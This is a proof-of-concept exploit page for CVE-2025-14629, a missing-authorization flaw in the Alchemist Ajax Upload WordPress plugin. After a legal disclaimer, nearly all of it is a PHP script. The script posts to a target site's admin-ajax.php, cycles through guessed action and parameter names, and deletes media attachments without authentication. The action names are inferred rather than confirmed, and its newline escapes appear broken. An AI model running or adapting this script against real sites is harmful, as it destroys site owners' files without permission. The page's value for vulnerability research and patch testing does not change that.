CVE-2025-14629: Alchemist Ajax Upload <= 1.1 – Missing Authorization to Unauthenticated Arbitrary Media File Deletion (alchemist-ajax-upload)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-14629 - Alchemist Ajax Upload <= 1.1 - Missing Authorization to Unauthenticated Arbitrary Media File Deletion
<?php
/**
 * Proof of Concept for CVE-2025-14629.
 * This script demonstrates unauthenticated media file deletion in the Alchemist Ajax Upload plugin.
 * Assumptions based on metadata analysis:
 * 1. The vulnerable endpoint is /wp-admin/admin-ajax.php.
 * 2. The AJAX action name contains 'delete_file' and likely prefixes the plugin slug.
 * 3. The required parameter is a media attachment ID.
 */

$target_url = 'https://vulnerable-wordpress-site.com'; // CHANGE THIS
$attachment_id = 123; // CHANGE THIS to target media file ID

// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Infer the AJAX action name. Common patterns include:
// - {plugin_slug}_delete_file
// - {plugin_slug}_ajax_delete_file
// - delete_file (less likely)
// We try the most likely pattern first.
$plugin_slug = 'alchemist_ajax_upload';
$possible_actions = [
    $plugin_slug . '_delete_file',
    $plugin_slug . '_ajax_delete_file',
    'delete_file'
];

echo "[*] Targeting: $target_urln";
echo "[*] Attempting to delete attachment ID: $attachment_idnn";

foreach ($possible_actions as $action) {
    echo "[*] Trying AJAX action: $actionn";
    
    $post_fields = [
        'action' => $action,
        'file_id' => $attachment_id  // Common parameter name
    ];
    
    // Alternative parameter names
    $alt_params = ['attachment_id', 'id', 'media_id'];
    
    // Try primary parameter name first
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $ajax_url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    echo "    HTTP Code: $http_coden";
    echo "    Response: " . substr($response, 0, 200) . "n";
    
    if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false)) {
        echo "[+] SUCCESS: Likely deleted attachment using action '$action' with parameter 'file_id'.n";
        curl_close($ch);
        exit(0);
    }
    
    curl_close($ch);
    
    // Try alternative parameter names
    foreach ($alt_params as $param) {
        $ch = curl_init();
        $post_fields_alt = ['action' => $action, $param => $attachment_id];
        
        curl_setopt($ch, CURLOPT_URL, $ajax_url);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields_alt);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        
        if ($http_code == 200 && (strpos($response, 'success') !== false || strpos($response, 'deleted') !== false)) {
            echo "[+] SUCCESS: Likely deleted attachment using action '$action' with parameter '$param'.n";
            curl_close($ch);
            exit(0);
        }
        
        curl_close($ch);
    }
}

echo "[-] Exploit attempt completed. No successful deletion confirmed.n";
echo "[-] The plugin may not be active, the attachment ID may be invalid, or the action/parameter names differ.n";
?>